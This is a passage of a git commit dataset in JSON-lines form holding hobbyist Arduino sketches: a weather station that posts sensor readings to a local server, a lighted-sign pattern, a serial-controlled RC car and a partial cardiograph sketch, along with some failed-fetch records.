\n\/\/\n\/\/ Diplay the Next Sensor\n\/\/\nvoid selectNextSensor()\n{\n \/\/ Change current sensor\n _app.render.currentSensor = (_app.render.currentSensor + 1) % _app.nbrSensors;\n\n Serial.print(F(\"Select Next Sensor #\"));Serial.println(_app.render.currentSensor);\n\n \/\/ Force Repaint\n _app.render.paint = true;\n}\n\n\n\/\/\n\/\/ Check if we have a unread message in the air\n\/\/\nvoid checkIncomingData()\n{\n \/\/ Message Received ?\n if( vw_have_message())\n {\n \/\/ max message size\n uint8_t messageLen = VW_MAX_MESSAGE_LEN;\n\n if (vw_get_message(_app.rx.stream, &messageLen)) \/\/ Read message\n {\n digitalWrite(rxLed, HIGH);\n\n \/\/ DEBUG\n if(Serial)\n {\n Serial.print(F(\"RX incomming data : \"));\n\n \/\/ HEX DUMP\n for (int i = 0; i < messageLen; i++)\n {\n Serial.print(_app.rx.stream[i], HEX);\n }\n Serial.println(\"\");\n }\n\n \/\/ Check size\n if(messageLen>4)\n {\n \/\/ Convert Byte to Sensor Data\n \/\/RxSensorRawDataDefinition sensor;\n\n for (int k=0; k < 5; k++)\n { \n _app.rx.value.raw[k] = _app.rx.stream[k];\n }\n \n \/\/ Fire this new value \n fireNewSensorValue(_app.rx.value.decoded.id, _app.rx.value.decoded.value);\n } \n else\n {\n Serial.println(F(\"Not enought data in transmition\"));\n\n \/\/ Try to restart RX module\n vw_rx_stop(); \n delay(1000);\n vw_rx_start(); \n }\n digitalWrite(rxLed, LOW);\n }\n }\n\n}\n\n\nvoid fireNewSensorValue(byte sensorID, float newValue)\n{\n Serial.print(F(\"Sensor ID = \"));Serial.print(sensorID);\n Serial.print(F(\", new value = \"));Serial.println(newValue);\n\n \/\/ Find in the sensor the SensorDefinition\n for (int i = 0; i < (_app.nbrSensors); ++i)\n {\n if(_app.sensors[i].id==sensorID)\n {\n Serial.print(F(\" -> sensor is #\"));Serial.println(i);\n\n \/\/ Update value\n _app.sensors[i].value = newValue;\n\n \/\/ Repaint if we display the current value\n if(i==_app.render.currentSensor)\n {\n _app.render.paint = true;\n Serial.println(F(\" -> Repaint is requested\"));\n }\n\n break; \/\/ Exit loop\n }\n }\n \n \/\/\n \/\/ Send value to Web Server\n sendDataToWebServer(sensorID, newValue);\n}\n\n\n\/\/\n\/\/ Update Local sensors\n\/\/\nstatic void updateLocalSensors()\n{\n \/\/ Get time\n unsigned long currentTime = millis();\n\n \/\/ Check if we have to update the main sensor\n if(currentTime - _app.lastMainSensorUpdated > MAIN_SENSOR_UPDATE)\n {\n Serial.println(F(\"Update Local Sensor\"));\n\n _app.lastMainSensorUpdated = currentTime;\n\n float buffer;\n\n \/\/ Read Temp sensor\n _mainSensor.getTemperature(&buffer);\n\n \/\/ Notify new Value\n fireNewSensorValue(1,buffer);\n\n \/\/ Read Pressure sensor (in Pa)\n _mainSensor.getPressure(&buffer);\n\n \/\/ Notify new Value (in hPa)\n fireNewSensorValue(2,buffer\/100);\n }\n}\n\n\n\/\/\n\/\/ Check Ethernet bus\n\/\/\nvoid checkEthernet()\n{\n \/\/ check if anything has come in via ethernet\n word len = ether.packetReceive();\n word pos = ether.packetLoop(len);\n \n \/\/ check if valid tcp data is received\n if (pos) {\n \n \/\/ Init Buffer\n _app.eth.buffer = ether.tcpOffset();\n\n char* data = (char *) Ethernet::buffer + pos;\n Serial.println(F(\"Ethernet data received :\"));\n Serial.println(data);\n \n \/\/ UpTime\n long t = millis() \/ 1000;\n word h = t \/ 3600;\n byte m = (t \/ 60) % 60;\n byte s = t % 60;\n \n \/\/ Populate Page to Buffer\n _app.eth.buffer.emit_p(_indexHTML, h\/10, h%10, m\/10, m%10, s\/10, s%10);\n \n \/\/ send web page data\n ether.httpServerReply(_app.eth.buffer.position()); \n }\n}\n\n\n\/\/\n\/\/ Send Data to WebServer\n\/\/\nvoid sendDataToWebServer(byte sensorID, float newValue)\n{\n \/\/ Convert to String\n sprintf(_app.eth.url, \"%d\/\", sensorID);\n\n \/\/ Convert Float to String\n char newValueString[10];\n dtostrf(newValue, 2, 2, newValueString);\n \n strcat(_app.eth.url,newValueString);\n \n Serial.print(F(\"Begin HTTP Request = \"));Serial.println(_app.eth.url);\n \n \/\/ Init Request\n _app.eth.isHttpRequest = true;\n unsigned long dateHTTPrequest = millis();\n \n ether.browseUrl(PSTR(\"\/cakephp\/points\/add\/\"), _app.eth.url, PSTR(\"TTKSERVER\"), requestUrlCallback);\n \n \/\/\n \/\/ Wait end of HTTP Request\n while(millis() - dateHTTPrequest < HTTP_TIMEOUT && ( _app.eth.isHttpRequest || ether.clientWaitingGw() ))\n {\n ether.packetLoop(ether.packetReceive());\n }\n \n \/\/ Verify\n if(_app.eth.isHttpRequest)\n {\n Serial.println(F(\"Fail Of HTTP Request\"));\n \n \/\/ Reset Flag\n _app.eth.isHttpRequest = false;\n }\n else\n {\n Serial.println(F(\"End Of HTTP Request\"));\n }\n \n \/\/ Workaround to clean Ethernet ...\n for(int i=0;i<100;i++)\n {\n ether.packetLoop(ether.packetReceive());\n }\n \n}\n\n\n\/\/\n\/\/ Ping Callback\n\/\/\nstatic void pingCallback (byte* ptr) {\n ether.printIp(\">>> ping from: \", ptr);\n}\n\n\/\/ \n\/\/ End HTTP GET request Callback\n\/\/\nstatic void requestUrlCallback (byte status, word off, word len) {\n Serial.println(\"<<< reply \");\n Serial.println((const char*) Ethernet::buffer + off);\n \n \/\/ Turn off HTTP request flag\n _app.eth.isHttpRequest = false; \n}\n\n\n\/\/\n\/\/ Get the Free RAM\nstatic int freeRam () {\n extern int __heap_start, *__brkval; \n int v; \n return (int) &v - (__brkval == 0 ? (int) &__heap_start : (int) __brkval); \n}\n\n\/\/\n\/\/ Display to Serial the available RAM memory\nvoid displayFreeRam()\n{\n Serial.print(F(\"Free Ram = \"));Serial.println(freeRam());\n}\n\n","old_contents":"\/\/\n\/\/ Display Temp\n\/\/\n\n\/\/ Use Library from :\n\/\/ Adafruit BMP085 https:\/\/github.com\/adafruit\/Adafruit_BMP085_Unified\n\/\/ Adafruit Sensor https:\/\/github.com\/adafruit\/Adafruit_Sensor\n\/\/ LCD : https:\/\/bitbucket.org\/fmalpartida\/new-liquidcrystal\/wiki\/Home\n\/\/ Touch Sensor : https:\/\/github.com\/arduino-libraries\/CapacitiveSensor\n\/\/ Ethercard : https:\/\/github.com\/jcw\/ethercard\n\n#include <VirtualWire.h>\n#include <Wire.h>\n#include <LCD.h>\n#include <LiquidCrystal_I2C.h>\n#include <CapacitiveSensor.h>\n#include <Adafruit_Sensor.h>\n#include <Adafruit_BMP085.h>\n#include <EtherCard.h>\n#include <avr\/wdt.h>\n\n\/\/ LCD I2C Adress\n#define I2C_ADDR 0x27\n\n\/\/ LCD Static Config\n#define BACKLIGHT_PIN 3\n#define En_pin 2\n#define Rw_pin 1\n#define Rs_pin 0\n#define D4_pin 4\n#define D5_pin 5\n#define D6_pin 6\n#define D7_pin 7\n\n#define BACKLIGHT_DURATION 20000\n\n\/\/ Pin Configuration\n#define rxLed 6\n#define rxPin 7\n#define touchCommonPin 2\n#define touchSensPin 4\n\n\/\/ Touch sensibility\n#define TOUCH_SENSIBILITY 100\n\n\/\/ Contact De-Bouncing\n#define TOUCH_DEBOUNCING 250\n\n\/\/ Main sensor update\n#define MAIN_SENSOR_UPDATE 60000\n\n\/\/ Timeout for HTTP Request\n#define HTTP_TIMEOUT 1000\n\n\/\/ Touched\nCapacitiveSensor _touch = CapacitiveSensor(touchCommonPin,touchSensPin); \n\n\/\/ Athmospheric Sensor \nAdafruit_BMP085 _mainSensor = Adafruit_BMP085();\n\n\/\/ MAC Address\nstatic byte _mymac[] = {0x74, 0x69, 0x69, 0x2D, 0x30, 0x31 };\n\n\/\/ remote website ip address and port\nstatic byte _ttkserver[] = { 192, 168, 0, 1 };\n\n\/\/ Arduino IP\nstatic byte _arduinoIP[] = { 192, 168, 0, 42 };\n\n\/\/ gateway ip address\nstatic byte _gwip[] = { 192, 168, 0, 254 };\n\n\/\/ Main Ethernet Buffer\nbyte Ethernet::buffer[300];\n\n\/\/ Page to display to user\nchar _indexHTML[] PROGMEM =\n \"HTTP\/1.0 200 OK\\r\\n\"\n \"Content-Type: text\/html\\r\\n\"\n \"\\r\\n\"\n \"<html>\"\n \"<head><title>\"\n \"--- TTK Weather Station ---\"\n \"<\/title><\/head>\"\n \"<body>\"\n \"<h3>I am the Weather Station<\/h3>\"\n \"<p>Up Time $D ms<\/p>\"\n \"<\/body>\"\n \"<\/html>\"\n;\n\n\/\/ Sensor Defintion\ntypedef struct SensorStruct {\n char * name; \n uint8_t id; \/\/ Sensor ID\n float value; \n char * unit; \/\/ Unit\n} SensorDefinition;\n\n\/\/ Rendering\ntypedef struct RenderStruct {\n LiquidCrystal_I2C lcd; \/\/ LCD\n byte currentSensor; \/\/ Current sensor to display\n byte tick; \/\/ Used for transition\n volatile bool paint; \/\/ paint is in progress ?\n} RenderDefinition;\n\n\/\/ Sensor RX Data\ntypedef struct RxSensorDataStruct {\n byte id; \/\/ size 1\n float value; \/\/ size 4\n} RxSensorDataDefinition;\n\ntypedef union RxSensorRawDataStruc{\n RxSensorDataDefinition decoded;\n uint8_t raw[5]; \/\/ total size of 5 bytes\n} RxSensorRawDataDefinition;\n\n\/\/ RX Message\ntypedef struct ReceiverStruct {\n uint8_t stream[VW_MAX_MESSAGE_LEN]; \/\/ Raw Rx Stream\n RxSensorRawDataDefinition value; \/\/ Decoded Value\n} ReceiverDefinition;\n\n\/\/ Ethernet Structure\ntypedef struct EthernetStruct {\n BufferFiller buffer; \/\/ used as cursor while filling the buffer\n char url[15]; \/\/ HTTP dynamic URL\n volatile boolean isHttpRequest; \/\/ true during HTTP request\n} EthernetDefinition;\n\n\/\/ Main Application Structure\ntypedef struct ApplicationStruct {\n byte nbrSensors;\n SensorDefinition sensors[3]; \/\/ Sensors Definition\n RenderDefinition render; \/\/ LCD rendering\n ReceiverDefinition rx; \/\/ RX receiver\n EthernetDefinition eth; \/\/ Ethernet\n unsigned long lastTouched; \/\/ Last Touched time\n unsigned long lastMainSensorUpdated; \/\/ Last time that the main sensor was updated\n} ApplicationDefinition;\n\n\/\/ Static Definition\nstatic ApplicationDefinition _app = {\n 3, \/\/ Total number of sensors\n \/\/ Sensors\n {\n \/\/ Sensor #1\n {\n \"Inside Temp\",\n 1, \/\/ Sensor ID\n -99.0, \/\/ Initial Value\n \"C\"\n },\n \/\/ Sensor #2\n {\n \"Outside Temp\",\n 42, \/\/ Sensor ID\n -99.0, \/\/ Initial Value\n \"C\"\n },\n \/\/ Sensor #3\n {\n \"Pressure\",\n 2, \/\/ Sensor ID\n -99.0, \/\/ Initial Value\n \"hPa\"\n }\n },\n \/\/ Render\n {\n LiquidCrystal_I2C(I2C_ADDR,En_pin,Rw_pin,Rs_pin,D4_pin,D5_pin,D6_pin,D7_pin),\n 0,\n 0,\n true \/\/ force paint\n },\n \n \/\/ RX Reveiver\n {\n \/\/ Init array with 0\n },\n \/\/ omit other fields -> init to 0\n};\n\n\nvoid setup() {\n \/\/\n \/\/ First Activate Watchdog\n wdt_enable(WDTO_8S); \/\/ 8 sec\n \n \/\/ Led Setup\n pinMode(rxLed, OUTPUT);\n\n \/\/ Debug\n Serial.begin(57600);\n Serial.println(F(\"--- TTK Weather Station ---\"));\n \n \/\/ Set Up RX\n vw_set_rx_pin(rxPin);\n vw_setup(2000);\n\n \/\/ Set Up LCD\n _app.render.lcd.begin (16,2); \/\/ 16x2 LCD\n _app.render.lcd.setBacklightPin(BACKLIGHT_PIN,POSITIVE);\n _app.render.lcd.setBacklight(HIGH);\n _app.render.lcd.clear();\n _app.render.lcd.print(F(\"--- Welcome ---\"));\n\n \/\/ Start the receiver\n vw_rx_start();\n\n \/\/ Initialise \n if(!_mainSensor.begin())\n {\n \/* There was a problem detecting the BMP085 ... check your connections *\/\n Serial.print(F(\"Ooops, no BMP085 detected ...\"));\n }\n\n \/\/ \n \/\/ Setup Ethernet\n if (ether.begin(sizeof Ethernet::buffer, _mymac) == 0)\n {\n Serial.println(F(\"Failed to access Ethernet controller\"));\n }\n \n Serial.println(F(\"Setting up static IP\"));\n\n \/\/ Static IP\n ether.staticSetup(_arduinoIP,_gwip);\n\n ether.printIp(F(\"My IP: \"), ether.myip);\n \/\/ether.printIp(F(\"Netmask: \"), ether.mymask);\n ether.printIp(F(\"GW IP: \"), ether.gwip);\n \/\/ether.printIp(F(\"DNS IP: \"), ether.dnsip);\n \n \/\/ Set Up destination IP\n ether.copyIp(ether.hisip, _ttkserver);\n ether.printIp(F(\"Destination Server: \"), ether.hisip);\n \n \/\/ Register Ping Callback\n ether.registerPingCallback(pingCallback);\n \n \/\/ No Request Yet\n _app.eth.isHttpRequest = false;\n \n \/\/ Display Free RAM\n displayFreeRam();\n}\n\nvoid loop() {\n \n \/\/ Restart Watchdog\n wdt_reset();\n \n \/\/ Detech user touch\n detectTouch();\n\n \/\/ Check RX\n checkIncomingData();\n \n \/\/ Check Ethernet\n checkEthernet();\n\n \/\/ Update Local Sensor\n updateLocalSensors();\n\n \/\/ Paint\n render();\n\n \/\/ Wait some time\n \/\/delay(20);\n\n}\n\n\n\/\/\n\/\/ Touched Detection\n\/\/\nvoid detectTouch()\n{\n \/\/ Turn the ligth ?\n long touched = _touch.capacitiveSensor(30);\n\n unsigned long currentTime = millis();\n\n if(touched>=TOUCH_SENSIBILITY && currentTime - _app.lastTouched > TOUCH_DEBOUNCING)\n {\n Serial.print(F(\"!! Touched !! with sensibility of \"));Serial.println(touched); \n\n _app.lastTouched = currentTime;\n\n \/\/ Handle Event\n onTouchEvent();\n }\n else if( currentTime - _app.lastTouched > BACKLIGHT_DURATION)\n {\n \/\/ Backlight off\n _app.render.lcd.setBacklight(LOW); \n }\n}\n\n\n\/\/\n\/\/ Handle touch Event\n\/\/\nvoid onTouchEvent()\n{\n \/\/ Backlight on\n _app.render.lcd.setBacklight(HIGH);\n\n \/\/ Display next sensor\n selectNextSensor();\n}\n\n\n\/\/\n\/\/ LCD Render function\n\/\/\nvoid render()\n{\n \/\/ TODO annimation ?\n\n \/\/ Paint ?\n if(_app.render.paint)\n {\n Serial.print(F(\"Repaint sensor #\"));Serial.println(_app.render.currentSensor);\n\n _app.render.lcd.clear();\n _app.render.lcd.print(_app.sensors[_app.render.currentSensor].name);\n _app.render.lcd.setCursor (0,1); \/\/ go to start of 2nd line\n _app.render.lcd.print(_app.sensors[_app.render.currentSensor].value);\n _app.render.lcd.print(' ');\n _app.render.lcd.print(_app.sensors[_app.render.currentSensor].unit);\n\n \/\/ End of Paint\n _app.render.paint = false;\n }\n\n\n \/\/ Increment\n _app.render.tick++;\n}\n\n \n\/\/\n\/\/ Diplay the Next Sensor\n\/\/\nvoid selectNextSensor()\n{\n \/\/ Change current sensor\n _app.render.currentSensor = (_app.render.currentSensor + 1) % _app.nbrSensors;\n\n Serial.print(F(\"Select Next Sensor #\"));Serial.println(_app.render.currentSensor);\n\n \/\/ Force Repaint\n _app.render.paint = true;\n}\n\n\n\/\/\n\/\/ Check if we have a unread message in the air\n\/\/\nvoid checkIncomingData()\n{\n \/\/ Message Received ?\n if( vw_have_message())\n {\n \/\/ max message size\n uint8_t messageLen = VW_MAX_MESSAGE_LEN;\n\n if (vw_get_message(_app.rx.stream, &messageLen)) \/\/ Read message\n {\n digitalWrite(rxLed, HIGH);\n\n \/\/ DEBUG\n if(Serial)\n {\n Serial.print(F(\"RX incomming data : \"));\n\n \/\/ HEX DUMP\n for (int i = 0; i < messageLen; i++)\n {\n Serial.print(_app.rx.stream[i], HEX);\n }\n Serial.println(\"\");\n }\n\n \/\/ Check size\n if(messageLen>4)\n {\n \/\/ Convert Byte to Sensor Data\n \/\/RxSensorRawDataDefinition sensor;\n\n for (int k=0; k < 5; k++)\n { \n _app.rx.value.raw[k] = _app.rx.stream[k];\n }\n \n \/\/ Fire this new value \n fireNewSensorValue(_app.rx.value.decoded.id, _app.rx.value.decoded.value);\n } \n else\n {\n Serial.println(F(\"Not enought data in transmition\"));\n\n \/\/ Try to restart RX module\n vw_rx_stop(); \n delay(1000);\n vw_rx_start(); \n }\n digitalWrite(rxLed, LOW);\n }\n }\n\n}\n\n\nvoid fireNewSensorValue(byte sensorID, float newValue)\n{\n Serial.print(F(\"Sensor ID = \"));Serial.print(sensorID);\n Serial.print(F(\", new value = \"));Serial.println(newValue);\n\n \/\/ Find in the sensor the SensorDefinition\n for (int i = 0; i < (_app.nbrSensors); ++i)\n {\n if(_app.sensors[i].id==sensorID)\n {\n Serial.print(F(\" -> sensor is #\"));Serial.println(i);\n\n \/\/ Update value\n _app.sensors[i].value = newValue;\n\n \/\/ Repaint if we display the current value\n if(i==_app.render.currentSensor)\n {\n _app.render.paint = true;\n Serial.println(F(\" -> Repaint is requested\"));\n }\n\n break; \/\/ Exit loop\n }\n }\n \n \/\/\n \/\/ Send value to Web Server\n sendDataToWebServer(sensorID, newValue);\n}\n\n\n\/\/\n\/\/ Update Local sensors\n\/\/\nstatic void updateLocalSensors()\n{\n \/\/ Get time\n unsigned long currentTime = millis();\n\n \/\/ Check if we have to update the main sensor\n if(currentTime - _app.lastMainSensorUpdated > MAIN_SENSOR_UPDATE)\n {\n Serial.println(F(\"Update Local Sensor\"));\n\n _app.lastMainSensorUpdated = currentTime;\n\n float buffer;\n\n \/\/ Read Temp sensor\n _mainSensor.getTemperature(&buffer);\n\n \/\/ Notify new Value\n fireNewSensorValue(1,buffer);\n\n \/\/ Read Pressure sensor (in Pa)\n _mainSensor.getPressure(&buffer);\n\n \/\/ Notify new Value (in hPa)\n fireNewSensorValue(2,buffer\/100);\n }\n}\n\n\n\/\/\n\/\/ Check Ethernet bus\n\/\/\nvoid checkEthernet()\n{\n \/\/ check if anything has come in via ethernet\n word len = ether.packetReceive();\n word pos = ether.packetLoop(len);\n \n \/\/ check if valid tcp data is received\n if (pos) {\n \n \/\/ Init Buffer\n _app.eth.buffer = ether.tcpOffset();\n\n char* data = (char *) Ethernet::buffer + pos;\n Serial.println(F(\"Ethernet data received :\"));\n Serial.println(data);\n \n \/\/ Populate Page to Buffer\n _app.eth.buffer.emit_p(_indexHTML, millis());\n \n \/\/ send web page data\n ether.httpServerReply(_app.eth.buffer.position()); \n }\n}\n\n\n\/\/\n\/\/ Send Data to WebServer\n\/\/\nvoid sendDataToWebServer(byte sensorID, float newValue)\n{\n \/\/ Convert to String\n sprintf(_app.eth.url, \"%d\/\", sensorID);\n\n \/\/ Convert Float to String\n char newValueString[10];\n dtostrf(newValue, 2, 2, newValueString);\n \n strcat(_app.eth.url,newValueString);\n \n Serial.print(F(\"Begin HTTP Request = \"));Serial.println(_app.eth.url);\n \n \/\/ Init Request\n _app.eth.isHttpRequest = true;\n unsigned long dateHTTPrequest = millis();\n \n ether.browseUrl(PSTR(\"\/cakephp\/points\/add\/\"), _app.eth.url, PSTR(\"TTKSERVER\"), requestUrlCallback);\n \n \/\/\n \/\/ Wait end of HTTP Request\n while(millis() - dateHTTPrequest < HTTP_TIMEOUT && ( _app.eth.isHttpRequest || ether.clientWaitingGw()))\n {\n ether.packetLoop(ether.packetReceive());\n }\n \n \/\/ Verify\n if(_app.eth.isHttpRequest)\n {\n Serial.println(F(\"Fail Of HTTP Request\"));\n \n \/\/ Reset Flag\n _app.eth.isHttpRequest = false;\n }\n else\n {\n Serial.println(F(\"End Of HTTP Request\"));\n }\n \n \/\/ Workaround to clean Ethernet ...\n for(int i=0;i<100;i++)\n {\n ether.packetLoop(ether.packetReceive());\n }\n \n}\n\n\n\/\/\n\/\/ Ping Callback\n\/\/\nstatic void pingCallback (byte* ptr) {\n ether.printIp(\">>> ping from: \", ptr);\n}\n\n\/\/ \n\/\/ End HTTP GET request Callback\n\/\/\nstatic void requestUrlCallback (byte status, word off, word len) {\n Serial.println(\"<<< reply \");\n Serial.println((const char*) Ethernet::buffer + off);\n \n \/\/ Turn off HTTP request flag\n _app.eth.isHttpRequest = false; \n}\n\n\n\/\/\n\/\/ Get the Free RAM\nstatic int freeRam () {\n extern int __heap_start, *__brkval; \n int v; \n return (int) &v - (__brkval == 0 ? (int) &__heap_start : (int) __brkval); \n}\n\n\/\/\n\/\/ Display to Serial the available RAM memory\nvoid displayFreeRam()\n{\n Serial.print(F(\"Free Ram = \"));Serial.println(freeRam());\n}\n\n","returncode":0,"stderr":"","license":"mit","lang":"Arduino"} {"commit":"dd5713fd639ab73273e3d9b33afb3e9aab2f3dea","subject":"CocaColaAmalgamation","message":"CocaColaAmalgamation\n\nAdd amalgamation of both Classic and OutsideIn patterns, with a blinky thing at the end\n","repos":"jzucker2\/HackAColaSign,jzucker2\/HackAColaSign","old_file":"CocaColaAmalgamation\/CocaColaAmalgamation.ino","new_file":"CocaColaAmalgamation\/CocaColaAmalgamation.ino","new_contents":"typedef enum {\n HackH = 48,\n HackA = 26,\n HackC = 24,\n HackK = 46,\n MiddleA = 36,\n ColaC = 38,\n ColaO = 28,\n ColaL = 40,\n ColaA = 30,\n RedZero = 44,\n RedOne = 34,\n RedTwo = 50,\n RedThree = 42,\n RedFour = 22,\n RedFive = 32\n } PatternToPin;\n\nstatic int Lights[16] = {\n HackH,\n HackA,\n HackC,\n HackK,\n MiddleA,\n ColaC,\n ColaO,\n ColaL,\n ColaA,\n RedZero,\n RedOne,\n RedTwo,\n RedThree,\n RedFour,\n RedFive\n};\n\n#define PATTERN_OFF HIGH\n#define PATTERN_ON LOW\n#define PATTERN_INITIALIZE OUTPUT\n\ntypedef enum {\n none = 0,\n blinky = 1000,\n minimal = 500,\n normal = 800,\n ish = 2000,\n extended = 4000\n} interval;\n\nvoid setup() {\n for (int i = 0; i < 16; i++) {\n pinMode(Lights[i], PATTERN_INITIALIZE);\n }\n}\n\nvoid loop() { \n for (int i = 0; i < 16; i++) {\n digitalWrite(Lights[i], PATTERN_OFF);\n }\n\n \/\/ turn letters on, one at a time\n int letters[] = {\n HackH,\n HackA,\n HackC,\n HackK,\n MiddleA,\n ColaC,\n ColaO,\n ColaL,\n ColaA,\n };\n \n for (int i = 0; i < 10; i++) {\n digitalWrite(letters[i], PATTERN_ON);\n delay(normal);\n }\n\n int background[] = {\n RedZero,\n RedOne,\n RedTwo,\n RedThree,\n RedFour,\n RedFive\n };\n\n \/\/ turn the background on from left to right\n for (int i = 0; i < 6; i++) {\n digitalWrite(background[i], PATTERN_ON);\n delay(minimal);\n }\n\n delay(extended);\n\n \/\/ turn the background off from right to left\n for (int i = 6 - 1; i >= 0; i--) {\n digitalWrite(background[i], PATTERN_OFF);\n delay(minimal);\n }\n\n delay(normal);\n\n \/\/ turn the background on from outside in\n for (int i = 0, j = 5; i < 3; i++, j--) {\n digitalWrite(background[i], PATTERN_ON);\n delay(none);\n digitalWrite(background[j], PATTERN_ON);\n delay(minimal);\n }\n\n delay(extended);\n\n \/\/ turn the background off from inside out\n for (int i = 2, j = 3; i >= 0; i--, j++) {\n digitalWrite(background[i], PATTERN_OFF);\n delay(none);\n digitalWrite(background[j], PATTERN_OFF);\n delay(minimal);\n }\n\n delay(normal);\n\n int repeat = random(5, 10);\n \/\/ turn the letters off and on a bit\n for (int x = 0; x < repeat; x++) {\n for (int i = 0; i < 10; i++) {\n digitalWrite(letters[i], PATTERN_OFF);\n delay(none);\n }\n\n delay(blinky);\n\n for (int i = 0; i < 10; i++) {\n digitalWrite(letters[i], PATTERN_ON);\n delay(none);\n }\n\n delay(blinky);\n }\n\n \/\/ and then turn it all off and wait\n for (int i = 0; i < 10; i++) {\n digitalWrite(letters[i], PATTERN_OFF);\n delay(none);\n }\n\n delay(ish);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'CocaColaAmalgamation\/CocaColaAmalgamation.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e8546d95fc74a553658077d6c9692af055d664ba","subject":"added python formatted serial formatting to ino","message":"added python formatted serial formatting to ino\n","repos":"ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha","old_file":"nduino\/src\/src.ino","new_file":"nduino\/src\/src.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ekwoodrich\/nirha.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"66cf68555ee4ccc0df18c5d54a2b547e236a65a5","subject":"Update Templete.ino","message":"Update Templete.ino","repos":"SirenCreatorTeam\/Siren_Zwei","old_file":"Arduino\/Templete\/Templete.ino","new_file":"Arduino\/Templete\/Templete.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/SirenCreatorTeam\/Siren_Zwei.git\/'\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"5e86a2b0c84b9c110b73598d23765a100f6d61e1","subject":"example that controls a car which uses an ESC to throttle and a servo to steer","message":"example that controls a car which uses an ESC to throttle and a servo to steer\n","repos":"platisd\/smartcar_shield,platisd\/smartcar_shield","old_file":"examples\/Car\/SerialControlServoESC\/SerialControlServoESC.ino","new_file":"examples\/Car\/SerialControlServoESC\/SerialControlServoESC.ino","new_contents":"#include <Smartcar.h>\n\nconst int PULSES_PER_METER = 33;\nconst int SERVO_PIN = 8;\nconst int ESC_PIN = 9;\n\nOdometer encoderLeft(PULSES_PER_METER);\nCar car(useServo(SERVO_PIN), useESC(ESC_PIN)); \/\/use the servo motor connected at pin 8 and the ESC connected to pin 9\n\nvoid setup() {\n Serial.begin(9600);\n Serial.setTimeout(100);\n encoderLeft.attach(3);\n car.begin(encoderLeft);\n}\n\nvoid loop() {\n car.updateMotors();\n handleInput();\n}\n\nvoid handleInput() { \/\/handle serial input if there is any\n if (Serial.available()) {\n String input = Serial.readStringUntil('\\n');\n if (input.startsWith(\"m\")) {\n int throttle = input.substring(1).toInt();\n car.setSpeed(throttle);\n } else if (input.startsWith(\"t\")) {\n int deg = input.substring(1).toInt();\n car.setAngle(deg);\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Car\/SerialControlServoESC\/SerialControlServoESC.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"65633d73dce85d39a05ff66ce4a46f7bfb199f48","subject":"Update Project_Code.ino","message":"Update Project_Code.ino","repos":"steigeia\/RFID_UNID_LOGGER,steigeia\/RFID_UNID_LOGGER","old_file":"Project Code\/Project_Code.ino","new_file":"Project Code\/Project_Code.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Project' did not match any file(s) known to git\nerror: pathspec 'Code\/Project_Code.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ca88db2d30f9a878f9176826230dcd1d0fd5faba","subject":"Added arduino code","message":"Added arduino code\n","repos":"bukhmastov\/Cardiograph","old_file":"cardiograph.ino","new_file":"cardiograph.ino","new_contents":"#include <SoftwareSerial.h> \n\nconst int PIN_INPUT_1 = A0;\nconst byte MESSAGE_PULSE = 0x00;\nconst byte MESSAGE_1 = 0x01;\nint FRAME_RATE = 60;\nint BYTES_PER_FRAME = 3;\n\nint AVERAGE_TOLERANCE = 20;\nint MAX_TOLERANCE = 10;\nint pCalibrationDuration = 10 * 1000;\nbool pCalibrating = false;\nbool pNeedCalibration = false;\nunsigned long pCalibrationTimeStart = 0;\nunsigned long pMaxValueTime = 0;\nint pMaxValue = 0;\nint pAverageValue = 0;\nint pCalibrationAverageAmount = 0;\nint pCalibrationAverageCount = 0;\nboolean pAverageCrossed = false;\nint pLastValues[6] = {-1, -1, -1, -1, -1, -1};\n\nvoid setup(){\n analogReference(DEFAULT);\n Serial.begin(38400);\n while(!Serial){}\n}\nvoid loop(){\n while (Serial.available() > 0) {\n int incoming = Serial.read();\n bool sync = false;\n if (byte(incoming) == 0xff) { \/\/ we got handshake request. We have to sync with 3 bytes of 0xff and continue broadcast data\n int counter = 0;\n sync = true;\n while (sync) {\n while (Serial.available() > 0) { \/\/ now we going to sync\n int incoming = Serial.read();\n switch (counter++) {\n case 0:\n FRAME_RATE = incoming;\n break;\n case 1:\n BYTES_PER_FRAME = incoming;\n break;\n case 2:\n AVERAGE_TOLERANCE = incoming;\n break;\n case 3:\n MAX_TOLERANCE = incoming;\n sync = false;\n break;\n }\n }\n }\n Serial.flush();\n delay(500);\n for (int i = 0; i < BYTES_PER_FRAME + 1; i++) {\n Serial.write(byte(0xee));\n }\n Serial.flush();\n pNeedCalibration = true;\n } else if (byte(incoming) == 0xee) { \/\/ pulse calibrate signal\n pNeedCalibration = true;\n }\n }\n unsigned long timeStart = millis();\n int data1 = int(analogRead(PIN_INPUT_1)) - 511;\n send(MESSAGE_1, data1);\n analysePulse(data1);\n Serial.flush();\n unsigned long delayTime = 1000\/FRAME_RATE - (millis() - timeStart);\n if (delayTime > 0) delay(delayTime);\n}\n\nvoid analysePulse(int value){\n if (pNeedCalibration) {\n if (!pCalibrating) {\n pCalibrating = true;\n pCalibrationTimeStart = millis();\n pMaxValue = 0;\n pAverageValue = 0;\n pCalibrationAverageAmount = 0;\n pCalibrationAverageCount = 0;\n send(MESSAGE_PULSE, -2);\n }\n pNeedCalibration = false;\n }\n if (pCalibrating) {\n if (value > pMaxValue) pMaxValue = value;\n pCalibrationAverageAmount += value;\n pCalibrationAverageCount++;\n if 